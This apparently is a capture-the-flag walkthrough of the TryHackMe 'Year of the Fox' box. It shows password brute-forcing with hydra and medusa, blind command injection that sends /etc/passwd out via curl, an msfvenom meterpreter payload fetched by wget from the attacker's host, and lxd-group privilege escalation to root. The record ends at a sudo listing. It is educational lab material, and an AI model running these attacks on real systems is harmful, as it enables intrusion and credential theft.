Recon to foothold
An nmap of course to start
|
|
It’s a web page so let’s nikto
|
|
And we’ll kick off dirbuster while we poke around
The webpage shows us a basic authentication login screen, but we don’t have any creds yet
We have samba, let’s enumerate
kali@kali:~/Documents/TryHackMe/YearOfTheFox$ smbclient -L 10.10.171.255
Enter WORKGROUP\kali's password:
Sharename Type Comment
--------- ---- -------
yotf Disk Fox's Stuff -- keep out!
IPC$ IPC IPC Service (year-of-the-fox server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available
Unfortunately we can’t connect as anonymous
kali@kali:~/Documents/TryHackMe/YearOfTheFox$ smbclient --user=anonymous //10.10.171.255/yotf
Enter WORKGROUP\anonymous's password:
tree connect failed: NT_STATUS_ACCESS_DENIED
We can use an nmap script to further enumerate the shares
kali@kali:~/Documents/TryHackMe/YearOfTheFox$ nmap --script smb-enum-shares.nse -p445 10.10.171.255
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-19 15:42 EDT
Nmap scan report for year-of-the-fox.lan (10.10.171.255)
Host is up (0.018s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
| smb-enum-shares:
| account_used: guest
| \\10.10.171.255\IPC$:
| Type: STYPE_IPC_HIDDEN
| Comment: IPC Service (year-of-the-fox server (Samba, Ubuntu))
| Users: 1
| Max Users: <unlimited>
| Path: C:\tmp
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\10.10.171.255\yotf:
| Type: STYPE_DISKTREE
| Comment: Fox's Stuff -- keep out!
| Users: 0
| Max Users: <unlimited>
| Path: C:\home\fox\samba
| Anonymous access: <none>
|_ Current user access: <none>
Nmap done: 1 IP address (1 host up) scanned in 5.04 seconds
Let’s enumerate the server using enum4linux. We have to filter out lines containing ‘unknown’ as otherwise they take over the output
kali@kali:~/Documents/TryHackMe/YearOfTheFox$ enum4linux -a 10.10.136.146 | grep -iv unknown
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sat Jun 20 09:41:57 2020
==========================
| Target Information |
==========================
Target ........... 10.10.136.146
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
=====================================================
| Enumerating Workgroup/Domain on 10.10.136.146 |
=====================================================
[+] Got domain/workgroup name: YEAROFTHEFOX
=============================================
| Nbtstat Information for 10.10.136.146 |
=============================================
Looking up status of 10.10.136.146
YEAR-OF-THE-FOX <00> - B <ACTIVE> Workstation Service
YEAR-OF-THE-FOX <03> - B <ACTIVE> Messenger Service
YEAR-OF-THE-FOX <20> - B <ACTIVE> File Server Service
..__MSBROWSE__. <01> - <GROUP> B <ACTIVE> Master Browser
YEAROFTHEFOX <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name
YEAROFTHEFOX <1d> - B <ACTIVE> Master Browser
YEAROFTHEFOX <1e> - <GROUP> B <ACTIVE> Browser Service Elections
MAC Address = 00-00-00-00-00-00
======================================
| Session Check on 10.10.136.146 |
======================================
[+] Server 10.10.136.146 allows sessions using username '', password ''
============================================
| Getting domain SID for 10.10.136.146 |
============================================
Domain Name: YEAROFTHEFOX
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup
=======================================
| OS information on 10.10.136.146 |
=======================================
Use of uninitialized value $os_info in concatenation (.) or string at ./enum4linux.pl line 464.
[+] Got OS info for 10.10.136.146 from smbclient:
[+] Got OS info for 10.10.136.146 from srvinfo:
YEAR-OF-THE-FOXWk Sv PrQ Unx NT SNT year-of-the-fox server (Samba, Ubuntu)
platform_id : 500
os version : 6.1
server type : 0x809a03
==============================
| Users on 10.10.136.146 |
==============================
index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: fox Name: fox Desc:
user:[fox] rid:[0x3e8]
==========================================
| Share Enumeration on 10.10.136.146 |
==========================================
Sharename Type Comment
--------- ---- -------
yotf Disk Fox's Stuff -- keep out!
IPC$ IPC IPC Service (year-of-the-fox server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available
[+] Attempting to map shares on 10.10.136.146
//10.10.136.146/yotf Mapping: DENIED, Listing: N/A
//10.10.136.146/IPC$ [E] Can't understand response:
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
=====================================================
| Password Policy Information for 10.10.136.146 |
=====================================================
[+] Attaching to 10.10.136.146 using a NULL share
[+] Trying protocol 139/SMB...
[+] Found domain(s):
[+] YEAR-OF-THE-FOX
[+] Builtin
[+] Password Info for Domain: YEAR-OF-THE-FOX
[+] Minimum password length: 5
[+] Password history length: None
[+] Maximum password age: 37 days 6 hours 21 minutes
[+] Password Complexity Flags: 000000
[+] Domain Refuse Password Change: 0
[+] Domain Password Store Cleartext: 0
[+] Domain Password Lockout Admins: 0
[+] Domain Password No Clear Change: 0
[+] Domain Password No Anon Change: 0
[+] Domain Password Complex: 0
[+] Minimum password age: None
[+] Reset Account Lockout Counter: 30 minutes
[+] Locked Account Duration: 30 minutes
[+] Account Lockout Threshold: None
[+] Forced Log off Time: 37 days 6 hours 21 minutes
[+] Retieved partial password policy with rpcclient:
Password Complexity: Disabled
Minimum Password Length: 5
===============================
| Groups on 10.10.136.146 |
===============================
[+] Getting builtin groups:
[+] Getting builtin group memberships:
[+] Getting local groups:
[+] Getting local group memberships:
[+] Getting domain groups:
[+] Getting domain group memberships:
========================================================================
| Users on 10.10.136.146 via RID cycling (RIDS: 500-550,1000-1050) |
========================================================================
[I] Found new SID: S-1-22-1
[I] Found new SID: S-1-5-21-978893743-2663913856-222388731
[I] Found new SID: S-1-5-32
[+] Enumerating users using SID S-1-5-32 and logon username '', password ''
S-1-5-32-544 BUILTIN\Administrators (Local Group)
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)
[+] Enumerating users using SID S-1-5-21-978893743-2663913856-222388731 and logon username '', password ''
S-1-5-21-978893743-2663913856-222388731-501 YEAR-OF-THE-FOX\nobody (Local User)
S-1-5-21-978893743-2663913856-222388731-513 YEAR-OF-THE-FOX\None (Domain Group)
S-1-5-21-978893743-2663913856-222388731-1000 YEAR-OF-THE-FOX\fox (Local User)
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\fox (Local User)
S-1-22-1-1001 Unix User\rascal (Local User)
==============================================
| Getting printer info for 10.10.136.146 |
==============================================
No printers returned.
enum4linux complete on Sat Jun 20 09:42:35 2020
Ok, so we have two users, fox and rascal
Let’s use hydra
on the basic auth for both users, it turns out that rascal gets us in
kali@kali:~/Documents/TryHackMe/YearOfTheFox$ hydra -t 64 -l rascal -P /usr/share/wordlists/rockyou.txt -f 10.10.136.146 http-get
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-06-20 09:43:54
[WARNING] You must supply the web page as an additional option or via -m, default path set to /
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task
[DATA] attacking http-get://10.10.136.146:80/
[80][http-get] host: 10.10.136.146 login: rascal password: daddie
[STATUS] attack finished for 10.10.136.146 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-06-20 09:44:35
Ok, so we have found creds for the website: rascal:daddie
. let’s see what the website looks like in a moment, but first let’s see if we can also crack the SMB authentication.
Note that if we redeploy this box it requires a new hydra
attack as this password is changed each time
We’ll try using medusa
to crack smb for these users, and here we manage to crack fox
, makes sense as he owns the share we saw earlier.
This should be crackable with hydra
too but it took a lot longer to get nowhere when we tried
kali@kali:/usr/lib/x86_64-linux-gnu/medusa/modules$ medusa -h 10.10.230.62 -P /usr/share/wordlists/rockyou.txt -u fox -M smbnt
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>
ACCOUNT CHECK: [smbnt] Host: 10.10.230.62 (1 of 1, 0 complete) User: fox (1 of 1, 0 complete) Password: 123456 (1 of 14344391 complete)
ACCOUNT CHECK: [smbnt] Host: 10.10.230.62 (1 of 1, 0 complete) User: fox (1 of 1, 0 complete) Password: 12345 (2 of 14344391 complete)
ACCOUNT CHECK: [smbnt] Host: 10.10.230.62 (1 of 1, 0 complete) User: fox (1 of 1, 0 complete) Password: 123456789 (3 of 14344391 complete)
ACCOUNT CHECK: [smbnt] Host: 10.10.230.62 (1 of 1, 0 complete) User: fox (1 of 1, 0 complete) Password: password (4 of 14344391 complete)
--snip--
ACCOUNT CHECK: [smbnt] Host: 10.10.230.62 (1 of 1, 0 complete) User: fox (1 of 1, 0 complete) Password: eeyore (452 of 14344391 complete)
ACCOUNT CHECK: [smbnt] Host: 10.10.230.62 (1 of 1, 0 complete) User: fox (1 of 1, 0 complete) Password: lalala (453 of 14344391 complete)
ACCOUNT CHECK: [smbnt] Host: 10.10.230.62 (1 of 1, 0 complete) User: fox (1 of 1, 0 complete) Password: 252525 (454 of 14344391 complete)
ACCOUNT CHECK: [smbnt] Host: 10.10.230.62 (1 of 1, 0 complete) User: fox (1 of 1, 0 complete) Password: scooter (455 of 14344391 complete)
ACCOUNT FOUND: [smbnt] Host: 10.10.230.62 User: fox Password: scooter [SUCCESS (ADMIN$ - Share Unavailable)]
Ok excellent, we have smb creds fox:scooter
- NB this password also changes with every reset of the box
We can get rascal too, but this doesn’t appear to be particularly useful
kali@kali:~/Documents/TryHackMe/YearOfTheFox$ medusa -h 10.10.218.56 -P /usr/share/wordlists/rockyou.txt -u rascal -M smbnt
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>
ACCOUNT CHECK: [smbnt] Host: 10.10.218.56 (1 of 1, 0 complete) User: rascal (1 of 1, 0 complete) Password: 123456 (1 of 14344391 complete)
ACCOUNT FOUND: [smbnt] Host: 10.10.218.56 User: rascal Password: 123456 [SUCCESS (ADMIN$ - Share Unavailable)]
Rabbit Hole #1
With the found creds fox:scooter
let’s look at the yotf share
kali@kali:~/Documents/TryHackMe/YearOfTheFox$ smbclient -U fox //10.10.230.62/yotf
Enter WORKGROUP\fox's password:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Mon Jun 8 21:03:20 2020
.. D 0 Sun May 31 18:38:41 2020
cipher.txt N 317 Fri May 29 19:22:12 2020
creds1.txt N 317 Sat Jun 20 15:53:03 2020
5092992 blocks of size 1024. 1363760 blocks available
We can grab these files
smb: \> lcd /home/kali/Documents/TryHackMe/YearOfTheFox/
smb: \> mget *
Get file cipher.txt? y
getting file \cipher.txt of size 317 as cipher.txt (2.0 KiloBytes/sec) (average 2.0 KiloBytes/sec)
Get file creds1.txt? y
getting file \creds1.txt of size 317 as creds1.txt (2.1 KiloBytes/sec) (average 2.0 KiloBytes/sec)
smb: \>
And now let’s have a look at what we’ve found. First cipher.txt
kali@kali:~/Documents/TryHackMe/YearOfTheFox$ cat cipher.txt
JV5FKMSNPJGTITTKKF5E46SZGJGXUVJSJZKFS6CONJCXUTTKJV4U26SBPJHUITJUJV5EC6SNPJMX
STL2MN5E6RCNGJGXUWJSJZCE2NKONJGTETLKLEZE26SBGIFE4VCZPBBWUTJUJZVEK6SNPJGXOTL2
IV5E6VCNGRHGURL2JVVFSMSNPJTTETTKJUYE26SRPJGWUTJSJZVE2MSNNJMTCTL2KUZE2VCNGBGX
USL2JZVE2M2ONJEXUCSNNJGTGTL2JEZE4ULPPJHVITLXJZVEK6SPIREXOTLKIF4VURCCNBBWOPJ5
BI======
Let’s pop this in cyberchef and play with it for a minute
Ok, this looks like a SHA-256 hash (at least once we cut off the -
at the end)
5c8d7f5eaa6208803b7866d9cbf0ea8a30198a2f8f4426cbe5a4267b272e90a8 -
Applying the same process to creds1.txt we change
JV5ESMSOKRMXUTTKJF5E6RCNGRGXUVL2J5CE2M2NPJGXUT2EJV3U26SBPJHHUWJRJV5EK6SOIRGX
STL2KUZE2VCNGNHGURL2JVKE2M2NPJEXUTTKLEYU26THPIFE4RCZGJBWUTJQJZVFS6SPIRMTETTK
KV5E4RCZGJGXUWJSJV5E26KONJCXUTKUJV3U26TLGJHFIWL2JV5E26SONJGTKTTKKF5E2VCNGRHG
UVJSJVKFS6KONJGXUCSNIRGTKTL2IUZE4ULPGJGWUTJQJV5E26SNNJEXOTLKIF4VURCCNBBWOPJ5
BI======
into
2ecb8858738007e1425a7a1726e84f4f8fe4f6c2a109ec369d18eabc091eb432 -
It’s possible to spend days trying to crack either of these (found out that fact the hard way!). Basically the original cleartext is 16 characters from /dev/rnd
, i.e. uncrackable except by brute force
end rabbit-hole/
Ok then, let’s move on and enumerate the web server using our found creds to get past the basic auth (rascal:daddie
)
Web page enumeration
So the webpage appears to be some sort of search system
A search for something random gives us a response No File Returned
Looking at the javascript behind the webform there is a filter.js
that seems obfuscated (comments are mine)
var _0x48ef = [ # this looks like an array to obfuscate literals
'keyup', # 0x0
'value', # 0x1
'target', # 0x2
'preventDefault', # 0x3
'addEventListener', # 0x4
'test', # 0x5
'keyCode' # 0x6
];
(function (_0x57ee59, _0x48ef0f) {
var _0x2911af = function (_0x4f1ea3) {
while (--_0x4f1ea3) {
_0x57ee59['push'](_0x57ee59['shift']());
}
};
_0x2911af(++_0x48ef0f);
}(_0x48ef, 469));
var deobfuscate = function (_0x57ee59, _0x48ef0f) {
_0x57ee59 = _0x57ee59 - 0;
var _0x2911af = _0x48ef[_0x57ee59];
return _0x2911af;
};
window['onload'] = function () {
var _0x31dff8 = document['getElementById'](deobfuscate('target')); # target is the searchbox
_0x31dff8[deobfuscate('value')] = ''; # set searchbox to empty (which puts the default placeholder text in there
_0x31dff8[deobfuscate('addEventListener')](deobfuscate('keyup'), function (_0x18bdaf) { # Look for a keyup (i.e. key being pressed) event
if (_0x18bdaf[deobfuscate('keyCode')] === 13) { # keyCode 13 = the enter key
_0x18bdaf[deobfuscate('preventDefault')]();
submit();
}
if (/^[A-Za-z0-9. ]*$/[deobfuscate('test')](_0x31dff8[deobfuscate('value')]) == ![]) {
_0x31dff8[deobfuscate('value')] = '';
}
});
};
There is also a submit.js
but we conclude that this is another full on rabbit-hole, nothing sneaky contained within
Digging through and trying to understand filter.js
leads us to 2 conclusions
- we see no trace of it in the submit or explicitly on the web page, however there is a
window['onload']
event that is running the script even though we don’t see it happening - it seems that many characters are filtered, but ‘keycode 13’ is treated specially So we send a blank query and find a potential opening, some files are revealed
Ok! Let’s see if we can retreive these files then - burpsuite shows us that the file names are all being returned in lowercase, are they in the root directory or do we need to do a dirbuster first?
So no, not in the web-root folder, where could they be? Let’s use dirbuster, remembering to use the Authentication option
And we find nothing! We use the dirbuster/medium, dirb/big, seclists/raft-large-directories wordlists and get nothing. This is obviously not the way in…
How about if we try to send commands instead of the target search terms. A little playing around finds that we can blind-inject commands and extract a response via curl
This outputs to a waiting listener
kali@kali:~/Documents/TryHackMe/YearOfTheFox$ nc -lnvp 1234
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.10.218.56.
Ncat: Connection from 10.10.218.56:53762.
GET / HTTP/1.1
Host: 10.9.5.160:1234
User-Agent: curl/7.58.0
Accept: */*
Content-Length: 31
Content-Type: application/x-www-form-urlencoded
root❌0:0:root:/root:/bin/bash
--snip--
Ok, can we use this to get a look at those files? or to get a shell?
We put the ‘standard’ python reverse shell in place of the cat command and look, we get a shell!
kali@kali:~/Documents/TryHackMe/YearOfTheFox$ nc -lnvp 1234
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.10.98.205.
Ncat: Connection from 10.10.98.205:57114.
bash: cannot set terminal process group (703): Inappropriate ioctl for device
bash: no job control in this shell
www-data@year-of-the-fox:/var/www/html/assets/php$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Let’s have a look around and see if we can find those files and anything else of interest
www-data@year-of-the-fox:/var/www/files$ cd /var/www/files
www-data@year-of-the-fox:/var/www/files$ cat creds2.txt
LF5GGMCNPJIXQWLKJEZFURCJGVMVOUJQJVLVE2CONVHGUTTKNBWVUV2WNNNFOSTLJVKFS6CNKRAX
UTT2MMZE4VCVGFMXUSLYLJCGGM22KRHGUTLNIZUE26S2NMFE6R2NGBHEIY32JVBUCZ2MKFXT2CQ=
www-data@year-of-the-fox:/var/www/files$ cat fox.txt
www-data@year-of-the-fox:/var/www/files$ cat important-data.txt
Ok, seems like the fox.txt
and important-data.txt
files are dummies, only the creds2.txt
file has content
begin rabbit-hole/
This is the same case as the creds1.txt
and cipher.txt
found earlier, completely random useless strings
(kept this one short!)
end rabbit-hole/
In /var/www
we find the web flag, #2.1:THM{REDACTED}
www-data@year-of-the-fox:/var/www$ ls
files
html
web-flag.txt
www-data@year-of-the-fox:/var/www$ cat web-flag.txt
THM{REDACTED}
www-data@year-of-the-fox:/var/www$
Horizontal privesc to User
Looking at linpeas we find a couple of interesting clues
-
[+] Backup files? rwxr-xr-x 1 root root 14328 Oct 26 2017 /usr/bin/tdbbackup.tdbtools
-
[+] Looking for AD cached hashes -rw------- 1 root root 430080 May 29 23:27 /var/lib/samba/private/secrets.tdb
-
root 664 0.0 0.5 72300 5812 ? Ss 19:13 0:00 /usr/sbin/sshd -D
-
tcp 0 0 127.0.0.1:22 0.0.0.0:* LISTEN -
The last two are the most interesting. We have an SSH process running, but bound to an internal port, which is why we can’t pick it up on our external scan. We’ll need to forward this port out to our attack-box, let’s use Metasploit for this
We want a meterpreter shell on the box. First we can create a reverse shell with msfvenom
kali@kali:~/Documents/TryHackMe/YearOfTheFox$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.9.5.160 LPORT=4321 -f elf > shell.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 123 bytes
Final size of elf file: 207 bytes
Now we setup msfconsole
to receive it
kali@kali:~/Documents/TryHackMe/YearOfTheFox$ msfconsole
. .
.
dBBBBBBb dBBBP dBBBBBBP dBBBBBb . o
' dB' BBP
dB'dB'dB' dBBP dBP dBP BB
dB'dB'dB' dBP dBP dBP BB
dB'dB'dB' dBBBBP dBP dBBBBBBB
dBBBBBP dBBBBBb dBP dBBBBP dBP dBBBBBBP
. . dB' dBP dB'.BP
| dBP dBBBB' dBP dB'.BP dBP dBP
--o-- dBP dBP dBP dB'.BP dBP dBP
| dBBBBP dBP dBBBBP dBBBBP dBP dBP
.
.
o To boldly go where no
shell has gone before
=[ metasploit v5.0.93-dev ]
+ -- --=[ 2029 exploits - 1103 auxiliary - 344 post ]
+ -- --=[ 566 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]
Metasploit tip: You can upgrade a shell to a Meterpreter session on many platforms using sessions -u <session_id>
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set PAYLOAD /linux/x86/meterpreter/reverse_tcp
PAYLOAD => linux/x86/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.0.2.15 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf5 exploit(multi/handler) > set LPORT tun0
[-] The following options failed to validate: Value 'tun0' is not valid for option 'LPORT'.
LPORT => 4444
msf5 exploit(multi/handler) > set LPORT 4321
LPORT => 4321
msf5 exploit(multi/handler) > set LHOST tun0
LHOST => tun0
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.9.5.160:4321
Note to self, we can use msfconsole -q
to skip all the header output and jump straight to a msf5 >
prompt
Now we can run the shell.elf
binary from /tmp
$ cd /tmp
$ wget 10.9.5.160:8888/shell.elf
--2020-06-21 21:10:02-- http://10.9.5.160:8888/shell.elf
Connecting to 10.9.5.160:8888... connected.
HTTP request sent, awaiting response... 200 OK
Length: 207 [application/octet-stream]
Saving to: 'shell.elf'
shell.elf 100%[===================>] 207 --.-KB/s in 0s
2020-06-21 21:10:02 (35.7 MB/s) - 'shell.elf' saved [207/207]
$ chmod a+x shell.elf
$ ./shell.elf
And we pop a meterpreter shell
[*] Sending stage (980808 bytes) to 10.10.98.205
[*] Meterpreter session 1 opened (10.9.5.160:4321 -> 10.10.98.205:37112) at 2020-06-21 16:13:17 -0400
meterpreter >
Now let’s do a portforward
meterpreter > portfwd add -l 2222 -p 22 -r 127.0.0.1
[*] Local TCP relay created: :2222 <-> 127.0.0.1:22
meterpreter >
And finally then we can ssh to the box as user fox
kali@kali:~/Documents/TryHackMe/YearOfTheFox$ netstat -antup | grep 2222
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 0 0 0.0.0.0:2222 0.0.0.0:* LISTEN 30340/ruby
kali@kali:~/Documents/TryHackMe/YearOfTheFox$ ssh -p 2222 fox@127.0.0.1
The authenticity of host '[127.0.0.1]:2222 ([127.0.0.1]:2222)' can't be established.
ECDSA key fingerprint is SHA256:UUzRY8LX3i6B/7AWHKO+WY0vkPQsuyyNpEvf2BI6jMU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[127.0.0.1]:2222' (ECDSA) to the list of known hosts.
fox@127.0.0.1's password:
Permission denied, please try again.
fox@127.0.0.1's password:
We try the creds found earlier but it seems that user fox
has better opsec than to re-use passwords
Let’s try hydra
again then
kali@kali:~/Documents/TryHackMe/YearOfTheFox$ hydra -l fox -p /usr/share/wordlists/rockyou.txt -s 2222 127.0.0.1 ssh # DON'T DO THIS, BIG P!!!
kali@kali:/usr/share/wordlists$ hydra -l fox -P rockyou.txt -t 4 -s 2222 127.0.0.1 ssh
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-06-21 17:05:38
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking ssh://127.0.0.1:2222/
[STATUS] 129.00 tries/min, 129 tries in 00:01h, 14344270 to do in 1853:16h, 4 active
[STATUS] 131.33 tries/min, 394 tries in 00:03h, 14344005 to do in 1820:19h, 4 active
[2222][ssh] host: 127.0.0.1 login: fox password: miamor
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-06-21 17:09:26
Excellent! We found the ssh password so let’s connect to fox!
kali@kali:~/Documents/TryHackMe/YearOfTheFox$ ssh -p 2222 fox@127.0.0.1
fox@127.0.0.1's password:
__ __ __ _ _ _____
\ \ / /__ __ _ _ __ ___ / _| | |_| |__ ___ | ___|____ __
\ V / _ \/ _` | '__| / _ \| |_ | __| '_ \ / _ \ | |_ / _ \ \/ /
| | __/ (_| | | | (_) | _| | |_| | | | __/ | _| (_) > <
|_|\___|\__,_|_| \___/|_| \__|_| |_|\___| |_| \___/_/\_\
fox@year-of-the-fox:~$
Let’s see then can we get the user flag
fox@year-of-the-fox:~$ ls
samba user-flag.txt
fox@year-of-the-fox:~$ cat user-flag.txt
THM{REDACTED}
And we get the user flag, #2.2:THM{REDACTED}
Privesc to root - Unintended route via lxd
group membership
Note This unintended was used by the first few people to finish the box (I was 4th, how are they so fast!?!) and then patched out. I’ve left it here as a interesting and useful exploit
A little enumeration shows us that the user fox
is a member of the lxd
group. We can get root access this way, at least to the file system
First we want to check is there an exploitable container image on the box
fox@year-of-the-fox:/tmp$ lxc image list
+-----------+--------------+--------+-----------------+--------+--------+------------------------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCH | SIZE | UPLOAD DATE |
+-----------+--------------+--------+-----------------+--------+--------+------------------------------+
+-----------+--------------+--------+-----------------+--------+--------+------------------------------+
No, nothing there we can use, however we can grab distrobuilder and use that to create a minimal Alpine image which then can be transferred to the target. On our attack box we do the following
kali@kali:~/Documents/TryHackMe/YearOfTheFox$ vi myalpine.yaml
kali@kali:~/Documents/TryHackMe/YearOfTheFox$ sudo $HOME/go/bin/distrobuilder build-lxd myalpine.yaml
[sudo] password for kali:
sudo: /home/kali/go/bin/distrobuilder: command not found
kali@kali:~/Documents/TryHackMe/YearOfTheFox$ sudo /root/go/bin/distrobuilder build-lxd myalpine.yaml
/tmp/minimalalpine-3.8.1-x86_64/alpine-minirootfs-3.8.1-x86_64.tar.gz: 100% (7.30MB/s)
/tmp/minimalalpine-3.8.1-x86_64/alpine-minirootfs-3.8.1-x86_64.tar.gz.asc: 100% (7.57GB/s)
Parallel mksquashfs: Using 8 processors
Creating 4.0 filesystem on /home/kali/Documents/TryHackMe/YearOfTheFox/rootfs.squashfs, block size 1048576.
Exportable Squashfs 4.0 filesystem, xz compressed, data block size 1048576
compressed data, compressed metadata, compressed fragments,
compressed xattrs, compressed ids
duplicates are removed
Filesystem size 1755.67 Kbytes (1.71 Mbytes)
40.51% of uncompressed filesystem size (4333.99 Kbytes)
Inode table size 2258 bytes (2.21 Kbytes)
13.22% of uncompressed inode table size (17074 bytes)
Directory table size 4066 bytes (3.97 Kbytes)
50.30% of uncompressed directory table size (8084 bytes)
Number of duplicate files found 5
Number of inodes 478
Number of files 64
Number of fragments 3
Number of symbolic links 329
Number of device nodes 0
Number of fifo nodes 0
Number of socket nodes 0
Number of directories 85
Number of ids (unique uids + gids) 2
Number of uids 1
root (0)
Number of gids 2
root (0)
shadow (42)
Now we can transfer this to the target
fox@year-of-the-fox:~$ cd /tmp
fox@year-of-the-fox:/tmp$ wget 10.9.5.160:8888/lxd.tar.xz
--2020-06-21 22:26:50-- http://10.9.5.160:8888/lxd.tar.xz
Connecting to 10.9.5.160:8888... connected.
HTTP request sent, awaiting response... 200 OK
Length: 424 [application/x-xz]
Saving to: ‘lxd.tar.xz’
lxd.tar.xz 100%[==================================>] 424 --.-KB/s in 0s
2020-06-21 22:26:50 (69.6 MB/s) - ‘lxd.tar.xz’ saved [424/424]
fox@year-of-the-fox:/tmp$ wget 10.9.5.160:8888/rootfs.squashfs
--2020-06-21 22:26:58-- http://10.9.5.160:8888/rootfs.squashfs
Connecting to 10.9.5.160:8888... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1798144 (1.7M) [application/octet-stream]
Saving to: ‘rootfs.squashfs’
rootfs.squashfs 100%[==================================>] 1.71M 8.34MB/s in 0.2s
2020-06-21 22:26:58 (8.34 MB/s) - ‘rootfs.squashfs’ saved [1798144/1798144]
fox@year-of-the-fox:/tmp$ lxc image import --alias myminimal lxd.tar.xz rootfs.squashfs
If this is your first time running LXD on this machine, you should also run: lxd init
To start your first container, try: lxc launch ubuntu:18.04
Image imported with fingerprint: d091d9e5af8aaa8390d53c31a1f1b00f98b0395be64e4c586cc76b6fc380e557
fox@year-of-the-fox:/tmp$ lxc image list
+-----------+--------------+--------+-----------------+--------+--------+------------------------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCH | SIZE | UPLOAD DATE |
+-----------+--------------+--------+-----------------+--------+--------+------------------------------+
| myminimal | d091d9e5af8a | no | My Alpine Linux | x86_64 | 1.72MB | Jun 21, 2020 at 9:27pm (UTC) |
+-----------+--------------+--------+-----------------+--------+--------+------------------------------+
Next we can make a container from this image, first having to initialize a storage pool as it’s the first usage of the application
fox@year-of-the-fox:/tmp$ lxc init myminimal mycontainer -c security.privileged=true
Creating mycontainer
Error: No storage pool found. Please create a new storage pool
fox@year-of-the-fox:/tmp$ lxd init
Would you like to use LXD clustering? (yes/no) [default=no]:
Do you want to configure a new storage pool? (yes/no) [default=yes]:
Name of the new storage pool [default=default]:
Name of the storage backend to use (btrfs, dir, lvm) [default=btrfs]:
Create a new BTRFS pool? (yes/no) [default=yes]:
Would you like to use an existing block device? (yes/no) [default=no]:
Size in GB of the new loop device (1GB minimum) [default=15GB]:
Would you like to connect to a MAAS server? (yes/no) [default=no]:
Would you like to create a new local network bridge? (yes/no) [default=yes]:
What should the new bridge be called? [default=lxdbr0]:
What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
Would you like LXD to be available over the network? (yes/no) [default=no]:
Would you like stale cached images to be updated automatically? (yes/no) [default=yes]
Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]:
fox@year-of-the-fox:/tmp$ lxc init myminimal mycontainer -c security.privileged=true
Creating mycontainer
fox@year-of-the-fox:/tmp$ lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to mycontainer
Two elements of this allow the exploit to work and deviate from the online example
security.privileged=true
gives our container full rights to map the container user namespace to that of the hostdevice add
mounts the original filesystem on/mnt/root
in our container
Now we just have to start up the container and then connect to it with a shell session
fox@year-of-the-fox:/tmp$ lxc start mycontainer
fox@year-of-the-fox:/tmp$ lxc exec mycontainer /bin/sh
~ # id
uid=0(root) gid=0(root)
Excellent, we have root and the host system is mounted in /mnt/root/
Privesc to root - As intended
Ok, so we are in with our found creds fox:naruto
(this time!)
Let’s have a look at our sudo rights
fox@year-of-the-fox:/tmp$ sudo -l
Matching Defaults entries for fox on year-of-the-fox:
env_reset, mail_badpass
User fox may run the following commands on year-of-the-fox:
(root) NOPASSWD: /usr/sbin/shutdown
